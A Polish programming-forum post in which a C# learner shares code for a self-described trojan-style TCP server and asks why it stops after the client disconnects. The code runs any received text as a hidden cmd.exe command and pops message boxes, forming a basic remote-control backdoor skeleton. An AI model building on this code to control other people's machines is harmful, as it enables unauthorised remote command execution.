Witam,
w celu podszkolenia się w C# postanowiłem napisać prostą aplikację klient-serwer (coś na zasadzie trojana - ten wpadł mi pierwszy do głowy i w zasadzie jego działanie jest proste) ...aczkolwiek napotkałem nieprzewidziane problemy.
W zasadzie wszystko działa poprawnie, ale serwer po rozlaczeniu klienta po prostu wyłącza się.
Main:
class Program
{
static void Main()
{
CServer server = new CServer();
}
}
CServer:
class CServer
{
public CServer()
{
init();
}
private void init()
{
bytes = new System.Byte[256];
is_first = true;
is_connected = false;
client_command = null;
start_server("127.0.0.1", 8008);
//tu poprzednio po prostu wykonywalem eloop(), lecz po przeczytaniu paru tematow sprobowalem z tworzeniem watku
System.Threading.Thread eloop_thread = new System.Threading.Thread(new System.Threading.ThreadStart(eloop));
eloop_thread.Start();
}
private void start_server(string adress, System.Int32 port)
{
tcp_listener = new System.Net.Sockets.TcpListener(System.Net.IPAddress.Parse(adress), port);
tcp_listener.Start();
//Q tu poprzednio dwie kolejne linie kodu byly odkomentowane
//tcp_client = tcp_listener.AcceptTcpClient();
//network_stream = tcp_client.GetStream();
}
private void eloop()
{
try
{
while(true)
{
//Q metoda stworzona po zakomentowaniu dwoch linijek kodu w start_server(x,y)
if (!is_connected)
{
tcp_client = tcp_listener.AcceptTcpClient();
network_stream = tcp_client.GetStream();
msg = System.Text.Encoding.ASCII.GetBytes("Connected!\r\n");
network_stream.Write(msg, 0, msg.Length);
is_connected = true;
}
if(!is_first)
{
msg = System.Text.Encoding.ASCII.GetBytes("Wpisz komende:\r");
network_stream.Write(msg, 0, msg.Length);
}
client_command = null;
while((i = network_stream.Read(bytes, 0, bytes.Length)) != 0)
{
recv_char = System.Text.Encoding.ASCII.GetString(bytes, 0, i);
client_command += recv_char;
if (client_command.Contains("\n"))
break;
}
System.String[] command_array = System.Text.RegularExpressions.Regex.Split(client_command, "===");
if (client_command.Contains("==="))
{
if (command_array[0].Equals("sendmessage"))
{
System.Windows.Forms.MessageBox.Show(command_array[1]);
}
}
else
{
if (client_command.Equals("exit\r\n"))
{
msg = System.Text.Encoding.ASCII.GetBytes("Disconnecting\r\n");
network_stream.Write(msg, 0, msg.Length);
is_connected = false;
tcp_listener.Server.Disconnect(true);
//break;
}
else
{
process_init();
process.Close();
}
}
is_first = false;
}
}
catch { }
}
private static void process_init()
{
process_info = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/C " + client_command);
process_info.CreateNoWindow = true;
process = System.Diagnostics.Process.Start(process_info);
}
}
Rozumiem, że kod może być niepoprawnie brzydko napisany, tu chodzi mi jedynie o kwestię samoczynnego wyłączania się serwera po rozłączeniu klienta. Na potrzeby testów łączyłem się poprzez telnet (klient: putty).
Pozdrawiam.